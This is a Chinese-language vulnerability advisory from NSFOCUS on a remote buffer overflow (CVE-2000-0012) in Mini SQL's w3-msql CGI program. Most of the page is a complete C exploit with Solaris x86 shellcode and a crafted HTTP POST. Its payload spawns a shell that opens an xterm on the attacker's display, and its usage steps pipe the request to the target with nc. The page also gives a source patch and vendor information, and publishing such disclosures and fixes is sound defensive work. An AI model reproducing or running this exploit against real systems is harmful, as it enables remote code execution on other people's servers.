首页 -> 安全研究

安全研究

安全漏洞
Mini SQL w3-msql远程缓冲区溢出漏洞

发布日期:1999-12-27
更新日期:1999-12-27

受影响系统:
Hughes Technology Mini SQL 2.0.11
描述:
BUGTRAQ  ID: 898
CVE(CAN) ID: CVE-2000-0012

Mini SQL是一个小型的SQL数据库系统,由Hughes Technology公司开发和维护。w3-msql是作为Mini-SQL的Web访问接口的CGI程序。

w3-msql实现上存在多个缓冲区溢出漏洞,远程攻击者可能利用其中的一个溢出漏洞以CGI进程的权限执行任意指令。

发生溢出的缓冲区为content-length字段,在scanf()调用中发生溢出,精心构建字串,远程攻击者可能通过溢出攻击以Web服务进程的权限执行任意指令。



<*来源:Zhodiac (zhodiac@softhome.net
  
  链接:http://www.securiteam.com/exploits/3I5QBS0QAG.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

------- w3-msql-xploit.c ----------

/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
*
* Platform: Solaris x86
*           Feel free to port it to other arquitectures, if you can...
*           If so mail me plz.
*
* By: Zhodiac <zhodiac@softhome.net>
*
* Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
*        2) xhost +<target_ip>
*        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
*        4) Take a cup of cofee, some kind of drug or wathever
*           estimulates you at hacking time... while the xterm is comming
*           or while you are getting raided.
*
* #include <standard/disclaimer.h>
*
* Madrid, 28/10/99
*
* Spain r0x
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/******************/
/* Customize this */
/******************/
file://#define LEN_VAR         50     /* mSQL 2.0.4 - 2.0.10.1 */
#define LEN_VAR       128    /* mSQL 2.0.11 */

// Solaris x86
#define ADDR 0x8045f8

// Shellcode Solaris x86
char shellcode[]= /* By Zhodiac <zhodiac@softhome.net> */
"\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
"\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
"\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
"\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
"\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
"\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"/bin/shA-cA/usr/openwin/bin/xtermA-displayA";

#define ADDR_TIMES      12
#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
#define NOP     0x90

int main (int argc, char *argv[]) {

char *buf, *ptr;
long addr=ADDR;
int aux;

if (argc<3){
   printf("Usage: %s target display | nc target 80 \n",argv[0]);
   exit(-1);
   }

if ((buf=malloc(BUFSIZE))==NULL) {
       perror("malloc()");
       exit(-1);
      }

shellcode[44]=(char)strlen(argv[2])+43;

ptr=(char *)buf;
memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
memcpy(ptr,argv[2],strlen(argv[2]));
ptr+=strlen(argv[2]);

for (aux=0;aux<ADDR_TIMES;aux++) {
   ptr[0] = (addr & 0x000000ff);
   ptr[1] = (addr & 0x0000ff00) >> 8;
   ptr[2] = (addr & 0x00ff0000) >> 16;
   ptr[3] = (addr & 0xff000000) >> 24;
   ptr+=4;
   }

printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
printf("Connection: Keep-Alive\n");
printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
printf("Host: %s\n",argv[1]);
printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
printf("Accept-Encoding: gzip\n");
printf("Accept-Language: en\n");
printf("Accept-Charset: iso-8859-1,*,utf-8\n");
printf("Content-type: multipart/form-data\n");
printf("Content-length: %i\n\n",BUFSIZE);

printf("%s \n\n\n",buf);

free(buf);

}

------- w3-msql-xploit.c ---------




建议:
--------------------------------------------------------------------------------

    补丁:

------ w3-msql.patch ---------

410c410
<     scanf("%s ", boundary);
---
>     scanf("%128s ", boundary);
418c418
<       strcat(var, buffer);
---
>       strncat(var, buffer,sizeof(buffer));
428c428
<           scanf(" Content-Type: %s ", buffer);
---
>           scanf(" Content-Type: %15360s ", buffer);

------ w3-msql.patch ---------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 给脚本程序打上如下的补丁:

!Hispahack在他们的Bugtraq post里提供了如下补丁

------ w3-msql.patch ---------
410c410
<     scanf("%s ", boundary);
---
>     scanf("%128s ", boundary);
418c418
<       strcat(var, buffer);
---
>       strncat(var, buffer,sizeof(buffer));
428c428
<           scanf(" Content-Type: %s ", buffer);
---
>           scanf(" Content-Type: %15360s ", buffer);
------ w3-msql.patch ---------

厂商补丁:

Hughes Technology
-----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.hughes.com.au/

浏览次数:7406
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障